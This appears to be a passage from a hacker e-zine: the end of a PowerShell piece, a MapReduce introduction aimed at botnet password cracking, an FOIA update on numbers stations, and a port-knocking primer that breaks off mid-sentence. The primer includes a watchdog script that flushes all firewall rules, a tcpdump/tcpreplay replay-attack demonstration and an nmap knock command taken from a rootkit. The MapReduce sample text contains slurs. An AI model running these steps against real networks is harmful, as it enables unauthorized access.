>> Out-File winlogon; Get-Content winlogon.html | Select-String -CaseSensitive
>> "<tr>" | %{$_ -replace "<[^>]+>", " "} | Select-Object -Last 2
>>
Microsoft Corporation 7600 Multiple Provider Router DLL 6 1 C:\Windows\system32\MPR.dll 16385 6.1.7600.16385 (win7_r
tm.090713-1255) mpr.dll False False False False False English (United States) © Microsoft Corporation. All rights
reserved. mpr.dll.mui 7600 6 1 Microsoft® Windows® Operating System 16385 6.1.7600.16385
Microsoft Corporation 7600 Credential Delegation Security Package 6 1 C:\Windows\system32\credssp.dll 16385 6.1.7600
.16385 (win7_rtm.090713-1255) credssp.dll False False False False False English (United States) © Microsoft Corpor
ation. All rights reserved. credssp.dll 7600 6 1 Microsoft® Windows® Operating System 16385 6.1.7600.16385
# Get usage help for all executables under the current working directory.
PS C:\WinDDK\7600.16385.1\tools\biometrics\amd64> Get-ChildItem -Recurse
>> -Force . | %{if($_.Name -match ".exe$"){Start-Process -NoNewWindow -Wait
>> -FilePath $_.FullName -WorkingDirectory $_.DirectoryName -ArgumentList /?}}
>>
Invalid command line "C:\WinDDK\7600.16385.1\tools\biometrics\amd64\BioTest.exe" /?
Usage:
-config <filepath> Configuration file to use (required).
-log <logpath> Log file to use (optional).
-suite <name> Test suite to run (optional).
-list [suiteID] List test suites or test cases for suiteID.
-run <suiteID> <id> Runs the test case id for suiteID.
-useDeviceForStorage Uses the device handle when attaching to storage.
Required when the storage adapter uses the device.
-useDeviceForEngine Uses the device handle when attaching to engine.
Required when the engine adapter uses the device.
Press <a> at any time to abort the test pass.
### EOF
[==================================================================================================]
-=[ 0x04 High Performance Hash Cracking with MapReduce
-=[ Author: elchupathingy
-=[ IRC: irc.gonullyourself.org #gny
/----------------------------------------------------------------------------------------
|
| Introduction
|
This paper will cover the basic aspects of what MapReduce is and the theory behind how it works.
If you are familiar with the map and reduce functions in functional programming languages, then you
may already have an idea about the inner workings of this concept. MapReduce does what it name
implies - it maps things and reduces things. But how is this useful to us? Using this method of
distributed computing, we can map some things to other things and then reduce these mapped values to
produce our answer. It is a simple yet powerful concept.
/----------------------------------------------------------------------------------------
|
| Purpose
|
The purpose of this article was to just write about something that I enjoy. This article will
continue as a series in attempt to fully cover the details of implementation and provide enough real
code to exemplify its practical usage. In doing so, I felt the need to send it off to this zine -
not for attention - but to express my thoughts in writing and share what I learned with others.
To digress for a second, I have been programming for the past seven years and have released
small code snippets of some bigger projects or just some fun code I wrote, like my Microsoft Sam
code. But, everything that I've written and released were merely applications for specific uses by
people, such as my PHP shell. Programming these were not really exercises in Computer Science
topics, but simply proof of concepts or, as could be easier put, skid tools. This being true, I
wanted to release and document something that truly required knowledge to take advantage of and reap
as many benefits as possible from the topic - in this case, distributed computing.
This article is titled the way it not only to make it more interesting for the target audience,
but also, my goal is to design a new and different way to crack passwords using a bot-net (in both
ethical and malicious connotations of the term). Though, I still want something more. I want the
reader to take the ideas of Computer Science and learn something. Throughout this series of
articles, some of the code will intentionally have errors in it to act as an exercise that tests
understanding of the concepts being drawn upon. These errors must be fixed before the code may be
run, much in a similar way to how high-profile exploits are released in a broken state to prevent
abuse.
This article was meant just to serve as an introduction to MapReduce, and the next article in
the series will include actual code and a project to play with while reading.
/----------------------------------------------------------------------------------------
|
| Background
|
Some people reading this have probably heard of MapReduce from an article written and published
by Google. While it has gained more attention lately, as Google's backbone utilizes the very
method that they patented to speed up its data processing jobs considerably, the MapReduce concept
has been around for a long time. The idea of MapReduce is very simple, as stated above; its roots,
I the author think, lie in the assembly line and many other business-specific practices which were
eventually adopted by computer scientists to make concurrency easier. Currently, the major
companies that employ this technique are Google and Amazon. These two companies are very data-
driven and are constantly doing data processing. Google rips through hundreds of petabytes of data
a month, and Amazon licenses out its processing power to other data-driven companies. Amazon is
also very prominent in the offering of its Ec2 Cloud system, which employs its distributed file
system for load balancing and its own flavor of MapReduce for data processing. Google and Amazon
allow clients to submit queries into their databases and to run code on their hardware through these
MapReduce interfaces. Google offers its AppEngine service, and Amazon offers its Ec2 Cloud services.
/----------------------------------------------------------------------------------------
|
| Theory
|
The idea behind MapReduce is quite simple to grasp, but its layout is detailed and may lead to
confusion at times. Here is a look at a typical layout of a MapReduce network:
/----------------------------------------------\
/------\ | | | | | |
|Master|----/ /------\ /------\ /------\ /------\ /------\
\------/ |Mapper| |Mapper| |Mapper| |Mapper| |Mapper|
\------/ \------/ \------/ \------/ \------/
| | | | |
| | | | |
/-------\ /-------\ /-------\ /-------\ /-------\
|Reducer| |Reducer| |Reducer| |Reducer| |Reducer|
\-------/ \-------/ \-------/ \-------/ \-------/
| | | | |
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \|/ /
\ | /
\-----------------/
|
/---------\
|Answer!!!|
\---------/
Now that's a picture. This network layout has two key characteristics to it:
1) Series of Mappers
2) Series of Reducers
These two things are the meat of the MapReduce concept. Now, what exactly is MapReduce? It's
formally defined as the following:
/------------------------------------------------------------------------------------
|MapReduce is a framework for processing huge datasets on certain kinds of
|distributable problems using a large number of computers (nodes), collectively
|referred to as a cluster. Computational processing can occur on data stored either
|in a filesystem (unstructured) or within a database (structured).
| - Wikipedia
Now that that's out of the way, let's dissect it and figure out what the hell's going on.
So, MapReduce is a algorithm that acts as a framework for processing lots of data (in our case,
brute forcing passwords) that is worked on by a cluster or bot-net. That's it. We will stick to
data stored in a database, as that will be the easiest, but in another article I will cover how to
distribute the filesystem. Now, let's exemplify simple use of the algorithm.
WORD COUNTING
Let's see how can we perform the task of word counting with MapReduce. Taking a step back,
let's first determine the steps to perform a MapReduce before running ahead with our problem. These
steps are the makeup of the word it self: Map and Reduce. These words are pretty self-explanatory,
but formal definitions are always great to refer to:
/------------------------------------------------------------------------------------
|"Map" step: The master node takes the input, chops it up into smaller sub-problems,
|and distributes those to worker nodes. A worker node may do this again in turn,
|leading to a multi-level tree structure. The worker node processes that smaller
|problem, and passes the answer back to its master node.
/------------------------------------------------------------------------------------
|"Reduce" step: The master node then takes the answers to all the sub-problems and
|combines them in a way to get the output - the answer to the problem it was
|originally trying to solve.
Alright, so the Map step does some magic and maps input to another value, and Reduce does some
more magic and reduces the Mapped data into something more manageable. Quick, dirty, and simple.
Let's go back to the simple example of word counting. We'll keep the above definitions in mind
and work out a process to solve the problem.
The sample data we'll be processing is the following short passage from a song:
/------------------------------------------------------------------------------------
| Fuck tha police
| Comin straight from the underground
| Young nigga got it bad cuz I'm brown
| And not the other color so police think
| They have the authority to kill a minority
|
| Fuck that shit, cuz I ain't tha one
| For a punk muthafucka with a badge and a gun
| To be beatin on, and thrown in jail
| We could go toe to toe in the middle of a cell
|
| Fuckin with me cuz I'm a teenager
| With a little bit of gold and a pager
| Searchin my car, lookin for the product
| Thinkin every nigga is sellin narcotics
|
Before we apply MapReduce to this, let's think of a few other ways to do this. The easiest way
would be to just start at the beginning of the data and loop through, counting the occurrence of
words and putting these results into some kind of data structure. Pseudocode would be:
/------------------------------------------------------------------------------------
| For each word in passage as cur_word
| For each word in passage as next_word
| if cur_word not in vector
| add cur_word and count to word_vector
| else
| if cur_word equals next_word
| increment cur_word count in word_vector
|
Well, that's incredibly inefficient and yields a growth rate of O( n^2 ) which is quite bad.
How can this be improved? MapReduce!
But how does it improve it? First, we will "Map" each word to a value of one, then "Reduce" the
output list into a single list with all the words and their respective count.
Here is pseudocode for the "Map" phase:
/------------------------------------------------------------------------------------
| For each word in passage as cur_word
| add cur_word to list_of_words with count 1
|
That's it. We now have a growth rate of O( n ), and this is about as good as it gets. Here's a
look at the list:
/------------------------------------------------------------------------------------
| Fuck:1 tha:1 police:1 Comin:1 straight:1 from:1 the:1 underground:1 Young:1
| nigga:1 got:1 it:1 bad:1 cuz: I'm:1 brown:1 And:1 not:1 the:1 other:1 color:1
| so:1 police:1 think:1 They:1 have:1 the:1 authority:1 to:1 kill:1 a:1 minority:1
| Fuck:1 that:1 shit:1 cuz:1 I:1 ain't:1 tha:1 one:1 For:1 a:1 puink:1 muthafucker:1
| with:1 a:1 badge:1 and:1 a:1 gun:1 To:1 be:1 beatin:1 on:1 and:1 thrown:1 in:1
| jail:1 We:1 could:1 go:1 toe:1 to:1 toe:1 in:1 the:1 middle:1 of:1 a:1 cell:1
| Fuckin:1 with:1 me:1 cuz:1 I'm:1 a:1 teenage:1 With:1 a:1 little:1 bit:1 bit:1 of:1
| gold:1 and:1 a:1 pager:1 Searchin:1 my:1 car:1 lookin:1 for:1 the:1 product:1
| Thinkin:1 every:1 nigga:1 is:1 sellin:1 narcotics:1
|
Just at first glance, this looks like a pain. How does it simplify things? As you can see, we
have mapped all the words to the number "1" and thus finished our mapping stage. Now, onto the
reducing stage, as seen in the following pseduocode:
/------------------------------------------------------------------------------------
| For each word in list_of_words as cur_word
| If cur_word is in reduced_list
| add 1 to cur_word count
| else
| add cur_word into reduced_list
|
This will produce the reduced list that looks like the following:
/------------------------------------------------------------------------------------
| Fuck:2 gun:1 tha:2 to:3 police:2 be:1 Comin:1 beatin:1 straight:1 on:1 from:1
| thrown:1 the:2 in:2 underground:1 middle:1 Young:1 of:2 nigga:2 cell:1 got:1
| Fuckin:1 it:1 with:2 bad:1 me:1 cuz:3 I'm:1 brown:1 teenage:1 And:3 little:1
| not:1 bit:1 other:1 of:1 color:1 gold:1 so:1 pager:1 think:1 Searchin:1 They:1
| car:1 have:1 lookin:1 authority:1 for:1 to:2 the:1 kill:1 product:1 a:7
| Thinkin:1 minority:1 every:1 that:1 is:1 shit:1 sellin:1 I:1 narcotics:1 ain't:1
| one:1 For:1 punk:1 muthafucker:1 with:2 badge:1
And that's it. This runs in O( n ) time, and thus we have a final big-O of O( 2n ) with both
steps. This simplifies back down to O( n ), which is quite better than the O( n^2 ) of the first
this doesn't really seem helpful in this method as this code is not very "distributed" like the
method. This shows how MapReduce can be used to speed things up; however, it does come at the cost
of a greater need for network and hardware resources.
Although everything worked out great, the function we developed for word counting isn't very
"distributed" like the network diagram offered above. Something needs to change.
To make this change, we need to think about how all of this data processing can be done in
parallel on many different nodes. We need an example that has a massive set of data that can be
easily broken up into smaller, more workable sets of data. We will use an example of a government
office sending out tax returns:
/------------------------------------------------------------------------------------
| A company has a task to complete, and this task is to process and mail out tax
| returns. To accomplish this as efficiently as possible, the managers set out to
| divide up the task into three separate jobs, each job being as simple and
| efficient as possible. The three jobs that are created are: printing out tax
| returns, putting the tax returns into envolopes, and mailing the envelopes. The
| managers decide to assign groups of employees to carry out each of the three
| jobs. The employees in the first group print out the tax returns, pass them on
| to the group that puts them into envelopes, who then pass on the envelopes to
| the third group of employees, who send out the envelopes in them mail.
The "Mapping" and "Reducing" steps may not be very easy to pick out here, but they are there.
The managers are the initial mappers, and there are two sets of reducers. The first step is for the
managers to break up the large set of people to whom the tax returns are being sent. These sets of
data are then sent to the first mappers to map each person to the amount of his or her respective
tax return. This result is then passed on to the next mapper, which maps each person-amount pair to
a check. These three values are then reduced into each person paired with the printed check of his
or her amount. This is then reduced in the final step to an envelope marked with the person's
address with the tax return check inside.
Another thing to note from the above example is that MapReduce does not really need to have
meaningful mappings when it does the "Map" step. The key-value pair could have no relationship or
can be even left out altogether. The processes behind the "Map" and "Reduce" stages must understand
the input they receive so that they can work on the incoming data. There is no single, generic
MapReduce algorithm that will work in all situations, but rather there is the idea of inputting maps
and outputing lists or other maps. This will limit the number of applications that MapReduce can be
used for, unless you can think of really creative ways to perform a specific job. But, to make this
more clear, let's go over a few guidelines to follow that make MapReduce as efficient as possible.
/------------------------------------------------------------------------------------
| 1) Try to make the mappings meaningful. They don't necessarily have to be, but
| doing so will speed up the job considerably.
| 2) If the job has dependencies on data, then this will produce slower results
| than expected. Although a system of data locks and ways to synchronize bots
| can be used, there also needs to be a method of data sharing amongst the
| bots.
| 3) Try to make sure that the work being done by the net has distince steps that
| allow for mapping and reducing.
Keeping these in mind when designing the distributed processes of the nodes is key to getting
the most out of MapReduce.
/----------------------------------------------------------------------------------------
|
| Refinements
|
Although the above outlined ideas are nice, we can refine the process even further to both speed
up the computation and make MapReduce more robust. There are a few ways to do this.
1) Multiple Map and Reduce steps
2) Node battles
3) Short circuiting
4) Partial reduction
The first point allows for finer definitions of each node's job and may also possibly allow for
the grouping of similar items into single entities that can be reduced as one rather than
individually. This would be beneficial when one is processing a list of similar items that have
relationships with one-another.
One example of this would be data mining. The first mapping would map each URL with that URL's
respective page contents. From there, the contents of each page would then be mapped to specific
categories. Then, this set of categories would be reduced into similar categories, so all sports-
related categories would be in a generic sports group, etc., etc. Finally, the data would reduce
further to a list of categories mapped to a specific URL.
Node battles, the second point, is a method of introducing redundancy and fault-tolerance into
the distributed computation. The idea is that two or more nodes, depending on the total number of
nodes in the cluster, are given the exact same data and perform the exact same job at the same time.
The node that finishes its computation first wins the battle and sends its output to the next node
in line. By doing so, a node may crash due to software or hardware-related failure and not
interrupt the network as a whole. While one node is down, the other node it is battling with will
continue working on the dataset until the problem can be resolved. This also means that once the
computation has been completed, the winning node must notify the losing node to stop working on the
job so that a new job can be worked on.
The third point, short circuiting, is related to node battles in that a single node or the
entire cluster of nodes should possess the ability to stop processing at any given time. If a very
large dataset that is being worked on has reached the desired answer, then the entire job should be
shut down so as to not waste time and resources.
Partial reduction is the idea that the mapper itself performs a small reduction of the mapped
data before shipping the result off to a reducer node. When the reducer node receives its data, its
job is already partially completed. This is beneficial in that it may lower network traffic at the
cost of greater processing time on each mapper node. However, this processing time is countered
with the reduced time needed on each reducer node.
/----------------------------------------------------------------------------------------
|
| Next Time
|
Next article, we will dive right into coding using MapReduce and how we can utilize this method
of distributed computing to crack hashes more efficiently.
Anyways, remember to keep it mature and drop the ego, regardless of skill level. Things don't
go to hell when people just shut up.
Lata, ~ELChupathingy
[==================================================================================================]
-=[ 0x05 Numbers Stations FOIA
-=[ Author: teh crew
For issue 2, we tried to FOIA (Freedom of Information Act) request documents on numbers stations
from the FCC, but the request was denied in full, citing FOIA Exemption (B)(7)(e) as related to
methods used by law enforcement.
Here is some more information that we have found out since then through correspondence with the FOIA
office:
In 2001, the Enforcement Bureau / Spectrum Enforcement Division (EB/SED) of the FCC "did respond to
a FOIA requesting records of communications between the FCC and foreign governments relating to
interference from numbers stations." These records no longer exist exist, however, "having purged
[these] files pursuant to the records retention schedule." EB claimed no responsive records to our
request, and it was recommended that our case be re-assigned to the Public Safety & Homeland
Security Bureau / Public Communications Outreach & Operations Division (PSHSB/PCOOD).
At this point, PSHSB responded with so many records related to numbers stations that the FOIA office
requested a 30-day extension. The release of these records were then, however, denied in full, as
stated above.
In 2001, someone also FOIA'd the FCC for documents relating to numbers stations. After receiving a
partial denial of his request (meaning that documents were released but entire sections were
redacted), he appealed the Commission's decision and sought judicial review of his application. For
the reasons outlined in http://hraunfoss.fcc.gov/edocs_public/attachmatch/FCC-01-280A1.pdf , his
appeal was denied in full, and that was the end of that.
There is still more to come, and details will be available in the next possible issue.
[==================================================================================================]
-=[ 0x06 Port Knocking Primer
-=[ Author: storm
-=[ Email: storm@gonullyourself.org
-=[ Website: http://gonullyourself.org/
Table of Contents
I. Introduction
II. Current Methods of Access Control
i. Blacklists
ii. Whitelists
iii. Intrusion Detection Systems
III. Enter Port Knocking
i. Concepts
ii. Implementations
iii. Advantages
iv. Disadvantages
IV. Ending Thoughts
I. Introduction
===============
I decided to write this paper since port knocking is an awesome technology that seems to be
incredibly under-utilized. It's a powerful yet relatively simple idea that has surprisingly not hit
mainstream yet, but hopefully increased awareness will promote its usage and implementation over
time.
The concepts of port knocking, in the context of server administration, were conceived in a effort
to mitigate or completely avoid the detriments of an unreleased remote exploit (or, in hacker terms,
a remote "0day"/"zero-day" exploit). In the event of such a vulnerability, the effects can be
devastating to system and website administrators since the sheer existence of the attack vector is
unknown. Modern technology allows for the automation of these attacks, and they are likewise abused
by "script kiddies," or hackers with minimal to no experience or knowledge of what they are really
doing. Unfortunately, these immature Internet users are common, so their reach is widespread.
Script kiddies will usually execute a large-scale scan of hosts, searching for a box that is
vulnerable to a zero-day exploit. Frequently, these users once again abuse their power and utilize
the compromised hosts as drones in a botnet or agents in a Denial of Service attack.
Despite the lack of skill and technical understanding of script kiddies, they still remain a
significant threat to administrators, and precautions must be taken to prevent potential damage
caused by them. Applications and daemons must be kept up-to-date to ensure that known
vulnerabilities are patched, authentication to system services must be secure and esoteric, and
strict firewall rules must be implemented to prevent access from potentially malicious clients.
This third guideline is rarely or poorly adhered to; this is where port knocking comes into play.
Port knocking attempts to create an easy-to-use, easy-to-implement security wrapper that will
protect a box from zero-day exploits without significantly impeding upon the user's experience.
II. Current Methods of Access Control
=====================================
Port Knocking itself is a very simple answer to a very basic, yet important, question. If a user
possesses the ability to penetrate a box, and there is no known way to effectively patch this
vulnerability, or if the vulnerability is unknown to begin with, then how does one protect against
it?
Although widely-known and seemingly common knowledge, I'll give a brief overview of a few different
access control methods currently used today.
One answer is to instruct the target service (or machine, or network) to disallow access from hosts
it deems malicious or potentially malicious. This is known as blacklisting or whitelisting,
depending on the approach. A blacklist allows all hosts to access the service except for a
specified "shit list." Working in reverse, a whitelist denies all hosts from accessing the services
except for a specified list. Both, however, have their own drawbacks and in fact may still provide
an attack vector against the target service.
II.i. Blacklists
==========
By method of a blacklist, a discrete number of known harmful hosts are blocked; however, in
practice, it is not difficult for a hacker to circumvent such means of access control. Through
trial and error, one may learn that a blacklist is being utilized, and the attack can simply be
launched from an alternate, unblacklisted machine. Blacklists must be frequently and consistently
updated to ensure that the filter is aware of the most recent threats, otherwise it becomes outdated
and worthless over time. This setup is most common for publicly-accessible services. For example,
many IRC networks employ software (such as BOPM) that will match clients against a blacklist of
known proxy servers and deny access accordingly. Lists such as these may also include signatures of
client behavior that lead to reasonable belief of malware infection, in attempt to thwart and weaken
flood/spam attacks against channels.
II.ii. Whitelists
==========
A whitelist performs the exact same function as a blacklist but in reverse. Every host is denied
access to the target service, save for a discrete number of defined addresses. It is difficult for
a hacker to learn which hosts are allowed access, and it is (usually) even more difficult to
originate the attack from them. Whitelists do not need to be regularly updated except for any
additions to the access list. However, a whitelist may be troublesome if the host address of a
legitimate user changes (which commonly occurs for a variety of reasons, such as dynamic IP
addresses), because he will now be denied access to his own service! A whitelist setup is
typically used to restrict access to a service that will only be needed by a single client or small
group of clients, such as SSH or FTP.
II.iii. Intrusion Detection Systems
===========================
Intrusion Detection Systems (IDS) monitor network traffic and system events for the purpose of
detecting and attempting to thwart malicious activity. Depending on the need, some IDSes may only
defend a particular service, while others have a broader scope and keep watch over the entire system
(or even an entire network). Two main methods are used to detect possible incidents - one based on
statistical anomalies and the other based on signatures. Statistical anomaly-based IDSes raise a
flag if something is "out of the norm," such as a large influx of ARP packets on the network (which
may very well be the product of ARP Poisoning), while signature-based IDSes raise a flag if a
particular request or command is found to be in its blacklist (like SQL Injection or RFI attempts in
HTTP requests). Two popular IDSes are Snort (for network analysis) and ModSecurity (for web
applications).
III. Enter Port Knocking
========================
Port knocking itself is not a completely new concept in the community. It made its debut in mid-
2000 with a rootkit named cd00r, long before the release of the more security-oriented project that
is better known today. Written by FX, the code was customizable, offering both a legitimate and
malicious use. System administrators were able to deny access to private services, while hackers
were able to remotely control compromised machines with minimal noise on the network. Port knocking
has since evolved into a more licit administration tool, and it is currently implemented in 32
independent projects, spanning across a wide array of programming languages and operating systems.
Since 2004, the application of port knocking has centralized around the work of Martin Krzywinski -
his research and current work is available at www.portknocking.org .
III.i. Concepts
========
Port knocking, in its simplest form, is interaction between a client and server by means of
communicating across closed ports. Defined in a broader context, port knocking is the process by
which a client must perform specific, esoteric actions to access or activate a hidden service.
You may be asking, "But how is a client able to communicate with a server through closed ports? If
a port is closed, that means there is no service listening there!" Let's break down exactly how
everything works and dispel any misconceptions. Using my awesome ASCII art skillz, I will attempt
to recreate the wonderful images offered by portknocking.org that exemplify each step of the process
for those who are visually-inclined learners. The captions were also shamelessly taken from the
site, but whatever.
When a server employs port knocking, a software firewall (such as iptables) drops all incoming
traffic, preventing any connections from establishing. From the perspective of a remote user, the
server in question is completely unresponsive since SYN packets are being sent but no replies are
being received. Thus, a port scan will report every port on the machine as "filtered," suggesting
that either a firewall or unusual network congestion is to blame. Such an action implies that the
common definition of port knocking is technically incorrect, as communication occurs across filtered
ports, not closed ports. A port scan will mark a port as closed when it is reachable (replies to
probes) but hosts no listening service, whereas a port will be marked as filtered when it fails to
respond at all.
__server____
| 0 X
| 0 X
| app X 0 X---A-----client
| 0 X /
| 0 X____B__/
| 0 X
| ports 0 X
|__________0_X firewall
step 1 | (A) client cannot connect to application listening on port; (B) client cannot establish
connection to any port
The port knocking script, which runs daemonized on the server, analyzes all incoming connection
attempts (which are being dropped by the firewall). It achieves this by either actively inspecting
every incoming packet with libpcap or passively monitoring firewall log files. Both methods possess
advantages and disadvantages (which will be addressed later), so it is up to the administrator to
decide which implementation to employ.
The port knocking daemon is configured to watch for a specific pattern of connection attempts from a
client, which is known as the "knock" or "knock sequence." Successfully sending the correct pattern
of connection attempts signals the port knocking daemon to perform some sort of action, most
commonly to commit a temporary firewall rule that grants access to the client that originated the
knock.
__server____
| 0 X___3____
| 0 X \
| app X 0 X-------1-client
| 0 X_____2__/
| 0 X_4_____/
| 0 X
| ports 0 X
|__________0_X firewall
step 2 | (1,2,3,4) client connects to a well-defined set of ports in a sequence that contains an
encrypted message by sending SYN packets; client has a prior knowledge of the port knocking daemon
and its configuration, but receives no acknowledgment during this phase because firewall rules
preclude any response
__server____
| 0 X
| 0 X
| app X --0-
| / 0 X
| PK---- 0 X
| 0 X
| ports 0 X
|__________0_X firewall
step 3 | (A) server process (a port knocking daemon) intercepts connection attempts and interprets
(decrypts and decodes) them as comprising an authentic "port knock"; server carries out specific
task based on content of port knock, such as opening application port to client
At this point, the client is able to establish connections to the service he wishes to access and
proceed with his business from there. It is important to note that while port knocking acts as an
authentication system of sorts, it is merely a layer over existing processes. Applications behind
the firewall will still require authentication of their own, and port knocking will not magically
bypass this.
__server____
| 0 X
| 0 X
| app X---0-----------client
| 0 X
| 0 X
| 0 X
| ports 0 X
|__________0_X firewall
step 4 | (A) client connects to application port and authenticates using application's regular
mechanism
The knock sequence is entirely configurable and may consist of any defined pattern or length. For
example, one sequence may require a client to send SYN packets to ports 1000, 2050, 24301, 3420, and
8054, respectively. Another sequence may require a client to send SYN packets to ports 7002, 3900,
and 9283, respectively. There is no limit as to what exactly the knock sequence may be, thus
granting administrators the ability to utilize vectors other than SYN packets and filtered ports.
If desired, a clever administrator may require a client to initiate a telephone call to an
unpublished number in addition to sending UDP and ICMP packets in a specific order.
Likewise, the consequential action of a successful knock sequence (which we will refer to as the
"payload") is also entirely configurable. The default payload, as exemplified in the steps above,
is committing a temporary firewall rule that grants the client access to a service, most likely SSH
or FTP. Commonly, the payload may not provide the client access to a listening application at all.
Instead, a successful knock sequence may trigger a certain command to be run, such as spawning a
reverse shell, restarting a daemon, rebooting the server, or even launching missiles.
Administrators are not restricted in capability of what administrative tasks may be accomplished
with port knocking.
III.ii. Implementations
===============
While the concept of port knocking is simple and broad in design, the actual processes that provide
such functionality can be intricate and exceedingly clever. For instance, Krzywinski's
"knockdaemon" Perl prototype monitors for potential knock sequences using either firewall log files
or packet sniffing via Net::Pcap and NetPacket modules.
Numerous open source projects implementing the concept of port knocking are available, each offering
its own unique set of advantages, disadvantages, and features. Instead of enumerating each one, you
can view the grand list of projects at http://www.portknocking.org/view/implementations . The
source for cd00r, the previously-mentioned rootkit that originally introduced port knocking, is
available at http://www.phenoelit-us.org/stuff/cd00r.c .
Many clients for port knocking also exist, such as knockclient
(http://www.portknocking.org/view/download), It's me (http://www.min.at/prinz/software/port/),
and Aldaba (http://www.aldabaknocking.com/). For very simple implementations, it's possible to even
use nmap as a client. From the comment header in cd00r.c:
The best way to send the required SYN packets to the system is
the use of nmap:
./nmap -sS -T Polite -p<port1>,<port2>,<port3> <target>
NOTE: the Polite timing ensures, that nmap sends the packets serial as
defined.
Reading nmap's documentation on the -sS flag makes perfect sense of this:
-sS (TCP SYN scan)
SYN scan is the default and most popular scan option for good reasons. It can be performed
quickly, scanning thousands of ports per second on a fast network not hampered by intrusive
firewalls. SYN scan is relatively unobtrusive and stealthy, since it never completes TCP
connections. It also works against any compliant TCP stack rather than depending on
idiosyncrasies of specific platforms as Nmap's Fin/Null/Xmas, Maimon and Idle scans do. It
also allows clear, reliable differentiation between the open, closed, and filtered states.
This technique is often referred to as half-open scanning, because you don't open a full TCP
connection. You send a SYN packet, as if you are going to open a real connection and then
wait for a response. A SYN/ACK indicates the port is listening (open), while a RST (reset)
is indicative of a non-listener. If no response is received after several retransmissions,
the port is marked as filtered. The port is also marked filtered if an ICMP unreachable
error (type 3, code 1,2, 3, 9, 10, or 13) is received.
III.iii. Advantages
==========
Obviously, the main advantage to port knocking is the added layer of security, no matter what kind
of security you wish to call it. Security through access control, security through obscurity,
whatever. It is a layer of stealth and authentication that is effective at doing its job yet
impedes very little upon the user's experience. It is also incredibly difficult to determine
whether or not a server has employed port knocking. The server simply may be remotely inaccessible,
for all an attacker knows.
However, if there is reason to believe that port knocking is in fact being employed, then little has
still been lost. Brute forcing the knock sequence would essentially be a wasted effort. The
combination of network latency and amount of throttling necessary to ensure the proper, serial
delivery of each knock sequence, factored into to the sheer size of the keyspace of possible knock
sequences makes guessing virtually impossible. For example, a knock sequence of length 2 that
utilizes only TCP ports would possess a keyspce of 65,536^2 = 4,294,967,296 possible sequences, also
requiring the assumption that a single packet type is used (SYN). Bumping it up by a single packet
to a knock sequence of length 3, the keyspace is now 65,536^3 = 281,474,976,710,656 possible
sequences.
Another advantage is that port knocking is completely customizable. A bit about this was touched on
earlier. Basically, any automatable task can be fitted with port knocking to execute upon trigger,
completely removing the need to log into services. Instead, a list of aliased commands can simply
be chosen from on the client, each selection delivering a unique knock sequence.
III.iv. Disadvantages
=============
Although port knocking provides an amazing layer of security to a system, it was not designed to be
a perfect system. Port knocking itself possesses various flaws and may even introduce new
vulnerabilities to a system once implemented. However, if these flaws allow an attacker to bypass
the port knocking layer altogether, he is still faced with the normal authentication mechanisms of
the listening services, simply placing the machine back in a state of pre-port knocking
installation. If great care is taken to address and mitigate these detriments, port knocking can be
a vital resource to any administrator's arsenal.
One specific disadvantage of port knocking is that if the knock daemon were to crash or fail for any
reason, the box would be completely inaccessible remotely, essentially self-inducing a denial of
service attack. Since the daemon would no longer be listening for the knock sequence, the denying
firewall rules would remain static. Such an event would render the server useless, but,
consequently, it would remain (supposedly) impenetrable for the duration of the service downtime.
One possible solution would be to write a short shell script that checks every few seconds if the
daemon is still running, and, if it's found not to be, automatically attempt to restart it. If this
is unsuccessful, then the script can either completely reboot the machine and try again, or simply
remove all firewall rules for the time being and alert the administrator of the failure via email.
Here's a quick script to get you started:
#!/bin/bash
EMAIL="storm@gonullyourself.org"
COUNTER=0
if [ -z $1 ] || [ -z $2 ]; then
echo "Usage: $0 knockdaemon knockdaemon.conf"
exit
fi
while [ 1 ]; do
X=`ps ax | grep knockdaemon | grep -v grep | wc -l`
if [ $X -ne 1 ]; then
let "COUNTER += 1"
if [ $COUNTER -eq 3 ]; then
echo "Shit's broken. Fix it." | mail -s "[`uname -n`] PK Error" $EMAIL
iptables -F
exit
fi
perl $1 -f $2
else
if [ $X -gt 0 ]; then
COUNTER=0
fi
fi
sleep 10
done
Assuming that the implementation of port knocking in question uses active packet inspection to
recognize the knock sequence, it's also possible, however unlikely it may be, that a vulnerability
exists in libpcap itself that would allow attackers to gain unauthorized access to the machine upon
analysis of a maliciously-crafted packet. Secunia reports that only one vulnerability has existed
in libpcap its entire life, the sole advisory being a trojaned version of the package being deployed
after tcpdump.org was compromised in 2002 (http://secunia.com/advisories/7511/). Hey, I guess that
counts.
This brings us to another security-related issue - one that is more likely to be successful in its
execution. Port knocking can be compared to plaintext protocols such as Telnet, in that the knock
sequence is "plaintext" and is easily susceptible to a replay attack. If an attacker obtains access
to another machine on the same network as the port knocking-protected box, and it is possible for
him to sniff all network traffic until the knock sequence is sent and access is granted. Since
analysis of a potentially multi-hundred-megabyte capture file for a handful of random packets (not
to mention discerning it from random line noise present on almost any network) is completely
unreasonable, an attacker may instead simply replay the entire packet dump, sending the knock
sequence at some point and, resultingly, opening the firewall port to the target service. Spoofing
the source address of the knock sequence to the attacker's address would ensure that the firewall
grants access to the correct (yet illegitimate) user.
A replay attack is fairly trivial to execute, but a lot of time and resources are wasted by not
having prior knowledge of exactly when the knock sequence is to occur and which IP address it is to
come from. Without proper filters, the capture file grows quickly (especially on high-traffic
networks), and the attacker has to send out thousands or millions of packets just to find a measely
three or four. Doing so would likely set off a few alarms if the network is managed properly.
Regardless, the ability to perform replay attacks is considered the most significant flaw of port
knocking due to its theoretical potential for success. At its most basic level, a replay attack may
be performed by:
[root@Dysthymia ~]# tcpdump -i wlan0 -w /tmp/traffic.wlan0
tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes
100 packets captured
100 packets received by filter
0 packets dropped by kernel
^C
[root@Dysthymia ~]# tcpreplay -i wlan0 /tmp/traffic.wlan0
sending out wlan0
processing file: /tmp/traffic.wlan0
Actual: 100 packets (8778 bytes) sent in 16.09 seconds. Rated: 545.6 bps, 0.00 Mbps, 6.22 pps
Statistics for network device: wlan0
Attempted packets: 100
Successful packets: 100
Failed packets: 0
Retried packets (ENOBUFS): 0
Retried packets (EAGAIN): 0
A menu of tcpreplay options is available at http://tcpreplay.synfin.net/wiki/tcpreplay that allow
for the manipulation of replayed packets.
Although it may not be worth mentioning, an attacker could also potentially create a denial of
service situation on the target host's filesystem by filling the hard drive to capacity with log
entries of failed knock sequences. This attack would only be applicable to port knocking
